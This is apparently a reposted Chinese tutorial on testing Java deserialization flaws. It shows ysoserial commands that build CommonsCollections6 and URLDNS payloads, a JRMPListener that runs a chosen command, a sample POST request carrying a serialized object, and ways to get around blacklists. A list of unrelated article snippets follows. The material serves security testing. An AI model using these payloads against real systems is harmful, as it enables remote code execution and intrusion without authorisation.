【Java反序列化测试】

Java反序列化测试

  • 1. 识别反序列化入口点
  • 2. 构造探测Payload
  • 3. 发送Payload并观察结果
  • 4. 绕过可能的防护
  • 5. 自动化工具
  • 注意事项
  • 总结

Java反序列化测试:


1. 识别反序列化入口点

  • 常见入口:
    • HTTP请求参数(如POST数据、Cookie、Headers)。
    • RMI(远程方法调用)、JMX(Java管理扩展)等Java远程协议。
    • 文件上传/下载功能(如序列化对象文件)。
    • 自定义二进制协议或API接口。
  • 特征识别:
    • 序列化数据通常以魔数 AC ED 00 05(十六进制)开头,Base64编码后为 rO0
    • 检查请求头或参数中是否包含类似 rO0ABQ... 的Base64字符串。

2. 构造探测Payload

方法一:触发延迟或异常

  • 生成一个导致线程睡眠或抛出异常的Payload,观察响应时间或错误信息:
    # 使用ysoserial生成CommonsCollections6的睡眠Payload(休眠10秒)
    java -jar ysoserial.jar CommonsCollections6 "sleep 10" > payload.bin
    
  • 发送Payload后,若响应延迟显著增加,可能漏洞存在。

方法二:DNS外带探测(推荐)

  • 生成触发DNS查询的Payload,验证是否存在反序列化漏洞:
    # 使用ysoserial的URLDNS模块(替换your.dnslog.cn)
    java -jar ysoserial.jar URLDNS "http://your.dnslog.cn" > payload.bin
    
  • 发送Payload后,检查DNSLog平台是否有记录(需提前注册DNSLog服务)。

方法三:JRMP反向探测

  • 启动一个JRMP监听服务(如使用ysoserial.exploit.JRMPListener):
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "命令"
    
  • 生成JRMP客户端Payload并发送,若目标反序列化时连接你的JRMP服务,则存在漏洞。

3. 发送Payload并观察结果

  • 编码Payload:将生成的二进制Payload转换为Base64或URL编码:
    base64 -w0 payload.bin
    
  • 发送请求(示例):
    POST /vulnerable-endpoint HTTP/1.1
    Content-Type: application/x-java-serialized-object[Base64 Payload]
    
  • 工具辅助:使用Burp Suite、Postman或自定义脚本发送Payload。

4. 绕过可能的防护

  • 流量混淆:
    • 对Payload进行GZIP压缩或附加额外字节。
    • 使用不同编码(如Hex、Unicode)。
  • 绕过黑名单:
    • 尝试冷门Gadget链(如Beanutils、ROME)。
    • 使用无依赖的Gadget(如java.util.HashSet)。

5. 自动化工具

  • Burp Suite插件:
    • Freddy:自动化检测反序列化漏洞。
    • Serialization Scanner:扫描入口点并生成Payload。
  • 其他工具:
    • GadgetProbe:探测目标类路径中的可用Gadget。
    • marshalsec:快速启动JRMP/LDAP恶意服务。

注意事项

  • 谨慎执行命令:避免使用Runtime.exec等危险操作,优先用DNS/HTTP外带验证。
  • 环境差异:不同JDK版本和库可能影响Gadget可用性。

总结

关键在于识别入口点并通过外带通信(DNS/HTTP)或延迟特征确认漏洞。结合工具生成Payload和流量分析,可有效提高检测成功率。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/896867.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

golang的io

https://www.bilibili.com/list/BV1gx4y1r7xb 1. 原生io包 io包是Go语言标准库中底层的I/O接口层,定义了通用的读写规则和错误处理逻辑。每次读写都是直接调用底层系统 I/O,每次读取1字节,系统调用次数多。适用于小数据量、实时性要求高。io…

【北京迅为】iTOP-RK3568OpenHarmony系统南向驱动开发-第4章 UART基础知识

瑞芯微RK3568芯片是一款定位中高端的通用型SOC,采用22nm制程工艺,搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码,支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU,可用于轻量级人工…

【计算机网络入门】初学计算机网络(十)(重要)

目录 1. 网络层的作用 2. IPV4 2.1 IP 数据报格式 2.2 IP地址分类方案 2.3 数据的转发 2.4 特殊用途的IP地址 3. 子网划分和子网掩码 3.1 子网划分 3.2 子网掩码 1. 网络层的作用 按照教学五层模型,应用层、传输层、网络层、数据链路层、物理层&#xff…

机器学习(五)

一,多类(Multiclass) 多类是指输出不止有两个输出标签,想要对多个种类进行分类。 Softmax回归算法: Softmax回归算法是Logistic回归在多类问题上的推广,和线性回归一样,将输入的特征与权重进行…

基于 Vue 和 SSM 的前后端分离项目实战:登录与注册功能实现

文章目录 前言项目概述前端部分(Vue)1. 项目初始化2. 页面布局Login.vueRegister.vue 3. 路由配置4. 主组件 后端部分(SSM)1. 项目结构2. 数据库设计3. MyBatis 配置4. DAO 层5. Service 层6. Controller 层7. 配置文件8. Spring …

Windows安装nvm【超详细图解】

目录 前言 一、NVM下载 方式一:官网下载 方式二:GitHub 下载 二、NVM安装 镜像源配置 三、Node安装 四、环境变量配置 前言 NVM(Node Version Manager)是一个命令行工具,用于在一台计算机上轻松管理和切换多…

KVM虚拟机磁盘创建探究-2

使用 virt-install 命令自动创建磁盘镜像和使用 qemu-img 手动创建磁盘镜像,在磁盘镜像本身格式和基本功能上是一致的,但在一些特性如初始占用磁盘空间、创建时的可配置性等方面存在区别,下面以 QCOW2 格式磁盘镜像为例进行详细说明。 初始占…

京准电钟:NTP校时服务器于安防监控系统应用方案

京准电钟:NTP校时服务器于安防监控系统应用方案 京准电钟:NTP校时服务器于安防监控系统应用方案 NTP校时服务器在安防监控系统中的应用方案主要通过高精度时间同步技术,解决设备间时间差异问题,确保日志、录像等数据的时间一致性…

递归遍历目录 和 普通文件的复制 [Java EE]

递归遍历目录 首先 先列出当前目录所包含的内容 File[] files currentDir.listFiles();if (files null || files.length 0) {// 若是空目录或非法目录, 则直接返回return;} 然后 遍历列出的文件, 分情况两种讨论 for (File f: files) {// 加个日志, 方便查看程序执行情…

NO.19十六届蓝桥杯模拟赛第三期上

1 如果一个数 p 是个质数&#xff0c;同时又是整数 a 的约数&#xff0c;则 p 称为 a 的一个质因数。 请问&#xff0c; 2024 的最大的质因数是多少&#xff1f; 答&#xff1a;23 #include <bits/stdc.h> using namespace std;int main() {ios::sync_with_stdio(false)…

Linux网络_应用层自定义协议与序列化_守护进程

一.协议 协议是一种 "约定". socket api 的接口, 在读写数据时, 都是按 "字符串" 的方式来发送接 收的. 如果我们要传输一些 "结构化的数据" 怎么办呢? 其实&#xff0c;协议就是双方约定好的结构化的数据 像下面&#xff0c;两端都知道数据结构…

SQL命令详解之多表查询(连接查询)

目录 1 简介 2 内连接查询 2.1 内连接语法 2.2 内连接练习 3 外连接查询 3.1 外连接语法 3.2 外连接练习 4 总结 1 简介 连接的本质就是把各个表中的记录都取出来依次匹配的组合加入结果集并返回给用户。我们把 t1 和 t2 两个表连接起来的过程如下图所示&#xff1a; …

001-码云操作

码云操作 一、配置公钥1.官网地址1.进入 git bash2.查看生成的公钥3.设置到 Gitee4.测试 二、初始化一个项目1.新建仓库 一、配置公钥 方便后续提交代码不用填写密码 1.官网地址 官网地址&#xff1a;https://gitee.com/Git码云教程&#xff1a;https://gitee.com/help/arti…

30.[前端开发-JavaScript基础]Day07-数组Array-高阶函数-日期Date-DOM

JavaScript的DOM操作 &#xff08;一&#xff09; 1 什么是DOM&#xff1f; 认识DOM和BOM 深入理解DOM 2 认识DOM Tree DOM Tree的理解 3 DOM的整体结构 DOM的学习顺序 DOM的继承关系图 document对象 4 节点、元素导航 节点&#xff08;Node&#xff09;之间的导航&…

【自学笔记】Spring基础知识点总览-持续更新

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 Spring 基础知识点总览1. Spring 框架简介2. IoC&#xff08;控制反转&#xff09;与 DI&#xff08;依赖注入&#xff09;2.1 IoC 容器2.2 依赖注入方式示例代码&a…

WordPress多语言插件GTranslate

GTranslate是一个免费的WordPress多语言插件&#xff0c;它允许您将网站内容翻译成多种语言。这个插件提供了一个简单易用的界面&#xff0c;让您可以在WordPress后台直接进行翻译操作。以下是GTranslate插件的一些主要特点&#xff1a; 免费使用&#xff1a;GTranslate插件完…

数列极限入门习题

数列极限入门习题 lim ⁡ n → ∞ ( 1 1 2 1 3 ⋯ 1 n ) 1 n \lim\limits_{n\rightarrow\infty}(1 \frac{1}{2}\frac{1}{3}\cdots\frac{1}{n})^{\frac{1}{n}} n→∞lim​(121​31​⋯n1​)n1​ lim ⁡ n → ∞ ( 1 n 1 1 n 2 ⋯ 1 n n ) \lim\limits_{n\rightarrow\…

嵌入式学习前要了解的基础知识

一、电压和电流 在嵌入式开发中&#xff0c;电压和电流是两个基本的电气概念&#xff0c;对于理解和设计电子电路至关重要。它们直接影响到嵌入式系统的性能、功耗、可靠性和安全性。 电压&#xff08;Voltage&#xff09; 电压是电场力推动电荷移动的能力&#xff0c;通常以…

机器学习:强化学习的epsilon贪心算法

强化学习&#xff08;Reinforcement Learning, RL&#xff09;是一种机器学习方法&#xff0c;旨在通过与环境交互&#xff0c;使智能体&#xff08;Agent&#xff09;学习如何采取最优行动&#xff0c;以最大化某种累积奖励。它与监督学习和无监督学习不同&#xff0c;强调试错…

Spring学习笔记03——Spring Boot的文件结构

Spring boot常见的文件结构&#xff1a; src/ ├── main/ │ ├── java/ │ │ └── com.example.demo/ │ │ ├── DemoApplication.java # 主入口 │ │ ├── config/ # 配置类 │ │ ├── controller/ …